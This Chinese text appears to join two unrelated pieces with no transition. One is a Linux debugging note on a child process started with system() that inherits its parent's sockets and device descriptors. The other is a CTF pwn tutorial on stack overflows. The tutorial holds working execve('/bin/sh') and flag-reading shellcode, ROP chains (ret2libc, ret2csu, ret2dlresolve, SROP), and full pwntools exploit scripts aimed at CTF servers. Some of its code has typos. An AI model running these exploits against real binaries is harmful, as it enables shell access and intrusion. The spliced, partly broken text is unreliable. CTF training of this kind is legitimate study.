现象

在进程A的线程s中使用system执行了进程B（后台持续运行），在进程A退出时向守护进程D发送了socket断开信息，但是进程D没有收到消息。在shell中手动重新运行进程A时，进程A中打开设备失败。

调查步骤1-尝试

作为linux入门级选手，尝试在进程A退出后，在shell端kill掉进程B，发现守护进程D即刻收到socket消息。再次手动运行进程A，不会出现打开设备失败信息。

在进程A中不运行进程B，直接在shell中执行进程B。在进程A退出时，守护进程D即刻收到socket消息。进程A再次运行也不会出现打开设备失败信息。

怀疑进程A通过调用system执行进程B，使进程B继承了进程A的某些资源，造成进程A退出后，进程B不释放。在进程A运行期间，查看进程B的父进程为pid为1：init进程，进程A和进程B不属于父子进程关系。

想到解决方法为：在进程A退出时（正常或者异常），进程B都能跟随退出。基于此想法，进行解决方法搜索。

参照网址使用prctl API, 在父进程退出后，让子进程也退出 - cornsea - 博客园（使用prctl API, 在父进程退出后，让子进程也退出）中说法改写system函数，调用prctl(PR_SET_PDEATHSIG, SIGHUP)，写测试程序，在PC上执行，发现kill掉主进程时，创建的子进程的确可以退出。交叉编译到装置里运行，主进程kill掉后，创建的子进程仍不能退出。

调查步骤2-尝试

步骤1中，使用prctl失败后，继续搜索。c - How to make child process die after parent exits? - Stack Overflow How to make child process die after parent exits?。其中提到：

int pipes[2];
pipe(pipes)
if (fork() == 0) {
    close(pipes[1]); /* Close the writer end in the child*/
    dup2(pipes[0], 0); /* Use reader end as stdin */
    exec("sh -c 'set -o monitor; child_process & read dummy; kill %1'")
}

close(pipes[0]); /* Close the reader end in the parent */

待去尝试

调查步骤3-解决

在进程A运行期间，使用netstat -anpl | grep -i 端口号 查看到进程A和进程D的相关信息。等进程A退出后，再次使用此命令查看，进程A的socket被进程B接管。父子进程中，Linux中，子进程与父进程的继承关系_gakki的二向箔-CSDN博客_linux子进程继承父进程哪些(Linux中，子进程与父进程的继承关系)，子进程继承了父进程的文件描述符，socket和打开设备都属于文件描述符。system执行的进程虽然父进程id不是其执行进程的id，但其中也调用了fork函数（linux system 函数源代码分析-ShadowSrX-ChinaUnix博客），应该也符合子进程继承父进程相关资源。基于父子进程继承问题进行相关搜索。

C语言在linux如何让子进程不继承父进程的资源_百度知道 C语言在linux如何让子进程不继承父进程的资源

一个子进程继承父进程所有文件描述符的坑_anthonytao的博客-CSDN博客_子进程会继承父进程的文件描述符吗 一个子进程继承父进程所有文件描述符的坑

网址中给出了解决方法，在执行execl系列函数前关闭所有已经打开的文件描述符。因此，问题就转换成了，执行fork后，execl前，关闭所有已打开的文件描述符。

先用简单的方法进行测试，（守护进程）如何关闭所有已经打开的文件描述符-CSDN论坛。在进程A退出后，守护进程D可以收到socket消息，再次运行进程A，打开设备正常。

但每次关闭所有的文件描述符，效果还行，但效率感觉不是很好。网址中使用FD_CLOEXEC实现close-on-exec，关闭子进程无用文件描述符_牛晨光的博客-CSDN博客 （O_CLOEXEC）在打开设备时追加O_CLOEXEC标志（socket为SOCK_CLOEXEC），在执行exec时可自动关闭一打开的文件描述符。open时可以追加此标志，但fopen怎么加？

上述简单的方法关闭打开的文件描述符不友好，快速关闭所有打开的文件描述符-xiaosuo-ChinaUnix博客（快速关闭所有打开的文件描述符）提供了遍历/proc/进程id/fd目录下逐一关闭方法。待试。

后记

改写system，在fork后开始执行exe系列函数。例如将：system("xterm -hold -e ls")中参数直接表示成execl("/bin/sh", "sh", "-c", "xterm -hold -e ls"), (char *)0)，将会创建两个xterm进程（可以用 top & 替换xterm整条命令），且其中一个为另一个的父进程，若改写成execlp("xterm","-hold","-e","ls",NULL)，将不能正确执行。参考关于linux execl函数 - OSCHINA - 中文开源技术交流社区（关于linux execl函数），需改成execlp("xterm", "xterm","-hold","-e","ls",NULL);或者execl("/bin/sh", "xterm","-hold","-e","ls",NULL);

如何将exec函数传参封装成象system函数传参一样？

问题

在进程A退出时发送的socket消息，守护进程D并未收到，跑哪里了？待调查

Linux下调用system()函数导致的问题_fengxinze的专栏-CSDN博客_linux调用system

栈溢出

栈基础知识

栈结构

函数调用过程

32位为例：
$$\begin{array}{rl}& \text{push args}\\ & \text{call func}\{\begin{array}{c}\text{push eip}\\ \text{jmp func}\end{array}\\ & \text{push ebp}\\ & \text{mov ebp,esp}\\ & ⋮\\ & \text{leave}\{\begin{array}{c}\text{mov esp,ebp}\\ \text{pop ebp}\end{array}\\ & \text{ret}\text{(pop eip)}\end{array}$$

函数参数传递

32位程序

• 普通函数传参：参数基本都压在栈上（有寄存器传参的情况，可查阅相关资料）。
• syscall传参：eax对应系统调用号，ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。

64位程序：

• 普通函数传参：先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上。
• syscall传参：rax对应系统调用号，传参规则与普通函数传参一致。

ret2text

栈溢出覆盖返回地址为后门函数从而获取shell。

ret2shellcode

将shellcode写入可执行的内存地址处，然后栈溢出覆盖返回地址到shellcode从而执行shellcode获取shell。

32位例题：wdb_2018_3rd_soEasy

64位例题：ciscn_2019_n_5

shellcode

手写

• 32位

  • shell（21字节）

    shellcode = asm("""
        push 0x68732f
        push 0x6e69622f
        mov ebx,esp
        xor ecx,ecx
        xor edx,edx
        push 11
        pop eax
        int 0x80
    """)
    

  • orw（56字节）

    shellcode = asm("""
        /*open(./flag)*/
        push 0x1010101
        xor dword ptr [esp], 0x1016660
        push 0x6c662f2e
        mov eax,0x5
        mov ebx,esp
        xor ecx,ecx
        int 0x80
        /*read(fd,buf,0x100)*/
        mov ebx,eax
        mov ecx,esp
        mov edx,0x30
        mov eax,0x3
        int 0x80
        /*write(1,buf,0x100)*/
        mov ebx,0x1
        mov eax,0x4
        int 0x80
    """)
    

• 64位

  • shell（22字节）

    shellcode = asm("""
        mov rbx, 0x68732f6e69622f
        push rbx
        push rsp
        pop rdi
        xor esi,esi
        xor edx,edx
        push 0x3b
        pop rax
        syscall
    """)
    

  • orw（43字节）

    shellcode = asm("""
        push 0x67616c66
        mov rdi,rsp
        xor esi,esi
        push 2
        pop rax
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov edx,0x100
        xor eax,eax
        syscall
        mov edi,1
        mov rsi,rsp
        push 1
        pop rax
        syscall
    """)
    

pwntools 生成

• shell（32位44字节，64位48字节）

  context.arch = elf.arch
  shellcode = asm(shellcraft.sh())
  

• orw

  • 32位（55字节）

    shellcode = ''
    shellcode += shellcraft.open('./flag')
    shellcode += shellcraft.read('eax','esp',0x100)
    shellcode += shellcraft.write(1,'esp',0x100)
    shellcode = asm(shellcode)
    

  • 64位（66字节）

    shellcode = ''
    shellcode += shellcraft.open('./flag')
    shellcode += shellcraft.read('rax','rsp',0x100)
    shellcode += shellcraft.write(1,'rsp',0x100)
    shellcode = asm(shellcode)
    

ret2syscall

构造rop链模拟系统调用过程

ROPgadget有时可自动构造，但可能长度过长，建议手动构造。

ROPgadget.py --binary ./pwn --ropchain

以execve("/bin/sh",0,0)为例：

ROPgadget检索相关指令举例：

ROPgadget --binary ./pwn  --only 'pop|ret' | grep 'ebx'

32位

• eax = 0x0b
• ebx指向"/bin/sh"
• ecx = 0x0
• edx = 0x0

rop示例：

64位

• rax = 0x3b
• rdi指向"/bin/sh"
• rsi = 0x0
• rdx = 0x0

rop示例：

ret2libc

linux延迟绑定机制

动态链接每个函数需要两个东西：

• 用来存放外部函数地址的数据段

• 用来获取数据段记录的外部函数地址的代码

对应有两个表，一个用来存放外部的函数地址的数据表称为全局偏移表（GOT, Global Offset Table），那个存放额外代码的表称为程序链接表（PLT，Procedure Link Table）

可执行文件里面保存的是 PLT 表的地址，对应 PLT 地址指向的是 GOT 的地址，GOT 表指向的就是 glibc 中的地址。

在这里面想要通过 plt 表获取函数的地址，首先要保证 got 表已经获取了正确的地址，但是在一开始就进行所有函数的重定位是比较麻烦的，为此，linux 引入了延迟绑定机制：只有动态库函数在被调用时，才会地址解析和重定位工作。

举例：

第一次调用

之后再次调用

利用过程

泄露函数地址

泄露libc函数地址的条件：程序中有输出函数，例如puts/printf/write

以write(1,buf,20)为例：

• 32位

  

• 64位

  需要控制三个参数，rdi，rsi，rdx

  第三个参数代表输出的size，如果没有rdx的gadget可以暂时不管，输出多少无所谓。

  

  截取泄露的函数地址

  • 32位

    u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    

  • 64位

    u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    

  • 特别得，对于printf输出数字结果，不需要小端序转换，[:-1]是为了去掉最后的回车

    int(p.recvline()[:-1],16)
    

  获取libc基址

  • LibcSearcher

    from LibcSearcher import *
    libc = LibcSearcher("write",write_addr)
    libc_base = write_addr - libc.dump("write")
    bin_sh_addr = libc_base + libc.dump("str_bin_sh")
    system_addr = libc_base + obj.dump("system")
    

  • ELF

    libc = ELF("./libc.so.6")
    libc_base = write_addr - libc.symbol['write']
    bin_sh_addr = libc_base + libc.search("/bin/sh").next()
    ayatem_addr = libc_base + libc.symbol['system']
    

  构造rop获取shell

  system函数调用过程。

  另外，可以one_gadget查找已知的libc中exevce("/bin/sh")语句的地址。

  $ one_gadget libc-2.23.so
  0x45216 execve("/bin/sh", rsp+0x30, environ)
  constraints:
    rax == NULL
  
  0x4526a execve("/bin/sh", rsp+0x30, environ)
  constraints:
    [rsp+0x30] == NULL
  
  0xf0274 execve("/bin/sh", rsp+0x50, environ)
  constraints:
    [rsp+0x50] == NULL
  
  0xf1117 execve("/bin/sh", rsp+0x70, environ)
  constraints:
    [rsp+0x70] == NULL
  

栈迁移

栈迁移主要是为了解决栈溢出溢出空间大小不足的问题。

通过栈溢出将将栈中的ebp覆盖为fake_ebp-4（64位为fake_ebp-8，因为leave指令mov esp,ebp之后还有pop ebp使得esp增加），通过两次leave可以将esp的值改为fake_ebp，从而完成栈迁移，这样就可以在溢出空间不足的情况下构造完整的rop链。

栈迁移到数据填充段

将栈迁移到数据填充段中，执行其中的rop。

栈迁移到其它空闲地址

调用read函数将rop写入空闲地址中，然后将栈迁移到该地址执行该rop。

这里返回到read函数时会有push ebp保存ebp值，read函数中的leave;ret语句不会对栈迁移造成影响，因此还要再加一个leave;ret。

ret2csu

在 64 位程序中，函数的前 6 个参数是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的 gadgets。 这时候，我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的，而一般的程序都会调用 libc 函数，所以这个函数一定会存在。

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

可以看到，如果能够控制 r12 和 r8 寄存器的值就可以利用 0x0000000000400609 地址处的 call 指令执行任意函数。因此可以利用 0x0000000000400616 到 0000000000400624 的汇编指令先控制寄存器的值，然后再执行 0x0000000000400600 到 0x0000000000400624 的汇编指令调用目标函数，然后返回到主函数再次利用。

对应脚本如下：

csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)

其实，除了上述这个 gadgets，gcc 默认还会编译进去一些其它的函数

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我们也可以尝试利用其中的一些代码来进行执行。此外，由于 PC 本身只是将程序的执行地址处的数据传递给 CPU，而 CPU 则只是对传递来的数据进行解码，只要解码成功，就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令，只要可以确保程序不崩溃。

ret2dlresolve

ELF关于动态链接的一些关键section

主要有 .dynamic 、.dynstr 、.dynsym 和 .rel.plt 四个重要的 section 。

结构及关系如下如图：

_dl_runtime_resolve 函数

_dl_runtime_resolve 函数的作用可以见前面 ret2libc 中 linux 延迟绑定机制的原理介绍图。这里详细介绍的是该函数的具体实现。

_dl_runtime_resolve 函数的具体实现为：

1. 用 link_map 访问 .dynamic ，取出 .dynstr ， .dynsym ， .rel.plt 的指针
2. .rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针，记作 rel
3. rel->r_info >> 8 作为 .dynsym 的下标，求出当前函数的符号表项 Elf32_Sym 的指针，记作 sym
4. .dynstr + sym->st_name 得出符号名字符串指针
5. 在动态链接库查找这个函数的地址，并且把地址赋值给 *rel->r_offset ，即 GOT 表
6. 调用这个函数

改写 .dynamic 的 DT_STRTAB

这个只有在 checksec 时 No RELRO 可行，即 .dynamic 可写。因为 ret2dl-resolve 会从 .dynamic 里面拿 .dynstr 字符串表的指针，然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名，然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间，当 resolve 的时候，就能 resolve 成我们所指定的任意库函数。

操纵第二个参数，使其指向我们所构造的 Elf32_Rel

由于 _dl_runtime_resolve 函数各种按下标取值的操作都没有进行越界检查，因此如果 .dynamic 不可写就操纵 _dl_runtime_resolve 函数的第二个参数，使其访问到可控的内存，然后在该内存中伪造 .rel.plt ，进一步可以伪造 .dynsym 和 .dynstr ，最终调用目标函数。

这里以 midnightCTF2022 的 speed5 为例讲解具体利用过程：

可以看出，程序主体部分是一个非常简单的栈溢出。

void __cdecl go()
{
  char buf[24]; // [esp+0h] [ebp-18h] BYREF

  read(0, buf, 48u);
}

由于溢出长度有限，因此首先需要栈迁移到其他地址处。

调用 _dl_runtime_resolve 函数可以把接下来 rop 中的返回地址设为该函数的 plt 表地址。该地址对应的汇编指令如下：

可以看到 _dl_runtime_resolve(link_map_obj, reloc_offset) 的参数1 link_map_obj 被 push 到栈中，在此之前，栈顶一定是参数2 reloc_offset 。因此构造的 rop 中接下来的值是伪造的参数2。接下来rop链的内容是目标函数的返回地址和参数（具体rop链为什么这么构造可以看前面 ret2libc 中 linux 延迟绑定机制的原理介绍图）。

之后就是伪造那 3 个结构，具体见下图。

exp 如下：

from pwn import *

context(arch='i386', os='linux')
# context.log_level = 'debug'
p = remote("speed-05.hfsc.tf", 22345)
# p = process('./speed5')
elf = ELF("./speed5")

rop_addr = elf.bss() + 0x600
read_plt = elf.plt['read']
read_got = elf.got['read']
leave_ret = 0x80491C9
resolve_plt = 0x8049030
JMPREL = 0x8048314
SYMTAB = 0x8048248
STRTAB = 0x8048298


def ret2dlresolve():
    fake_rel_addr = rop_addr + 5 * 4
    reloc_offset = fake_rel_addr - JMPREL
    bin_sh_addr = rop_addr + 19 * 4
    fake_sym_addr = rop_addr + 7 * 4
    align = (0x10 - ((fake_sym_addr - SYMTAB) & 0xF)) & 0xF
    fake_sym_addr += align
    r_info = ((fake_sym_addr - SYMTAB) / 0x10 << 8) | 0x7
    fake_rel = p32(read_got) + p32(r_info)
    fake_name_addr = fake_sym_addr + 6 * 4
    st_name = fake_name_addr - STRTAB
    fake_sym = p32(st_name) + p32(0) * 2 + p32(0x12) + p32(0) * 2
    payload = p32(0)
    payload += p32(resolve_plt)
    payload += p32(reloc_offset)
    payload += p32(0)
    payload += p32(bin_sh_addr)
    payload += fake_rel
    payload += '\x00' * align
    payload += fake_sym
    payload += "system"
    payload = payload.ljust(19 * 4, '\x00')
    payload += '/bin/sh\x00'
    return payload


if __name__ == '__main__':
    payload = 'a' * 24
    payload += p32(rop_addr)
    payload += p32(read_plt)
    payload += p32(leave_ret)
    payload += p32(0)
    payload += p32(rop_addr)
    payload += p32(0x100)
    p.send(payload)
    p.send(ret2dlresolve())
    p.interactive()

SROP

简单的说就是如果系统调用 rt_sigreturn 时会根据当前栈顶的 Signal Frame 结构恢复各寄存器的值。通过伪造 Signal Frame 并通过构造 rop 使程序执行 rt_sigreturn 就可以执行想要执行的函数以及把栈迁移到任意地址。

以 64 位为例，其中一种构造方式如下：
其中 0xF 为 rt_sigreturn 的系统调用号。

Signal Frame 结构如下：

通过设置 Signal Frame 的 rsp 的值栈迁移，可以连读多次进行 SROP。

例题：rootersctf_2019_srop

signed __int64 sub_401000()
{
  signed __int64 v0; // rax
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  v0 = sys_write(1u, ::buf, 0x2AuLL);
  return sys_read(0, buf, 0x400uLL);
}

存在栈溢出。

可供利用的 gadget ：

.text:0000000000401032                 pop     rax
.text:0000000000401033                 syscall                 ; LINUX - sys_read
.text:0000000000401035                 leave
.text:0000000000401036                 retn

可以完成改 rax 和 系统调用，不过 ret 前多了一个 leave ，因此连续 SROP 时不能像前面示意图那样直接改 rsp ，而是将 rbp 设为目标栈地址 + 8 ，利用栈迁移将栈顶迁移到目标地址。

第一次 SROP 可以调用 read 向 .data 段的 buf 写入第二段 rop 以及 /bin/sh\x00 字符串。
第二次 SROP 执行 execve 获取 shell 。

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
p = remote('node4.buuoj.cn',26384)
# p = process('./rootersctf_2019_srop')
elf = ELF("./rootersctf_2019_srop")

if __name__ == '__main__':
    buf_addr = 0x402000
    syscall_leave_ret = 0x401033
    pop_rax_syscall_leave_ret = 0x401032

    frame = SigreturnFrame()
    frame.rax = 0  # read
    frame.rdi = 0  # stdin
    frame.rsi = buf_addr  # buf
    frame.rdx = 0x400  # size
    frame.rip = syscall_leave_ret
    frame.rbp = buf_addr

    payload = ''
    payload += 'a' * 0x88
    payload += p64(pop_rax_syscall_leave_ret)
    payload += p64(0xF)
    payload += str(frame)

    p.sendafter('Hey, can i get some feedback for the CTF?\n',payload)

    frame = SigreturnFrame()
    frame.rax = 59  # execve
    frame.rdi = buf_addr  # "/bin/sh\x00"
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_leave_ret

    payload = ''
    payload += '/bin/sh\x00'
    payload += p64(pop_rax_syscall_leave_ret)
    payload += p64(0xF)
    payload += str(frame)

    p.send(payload)

    p.interactive()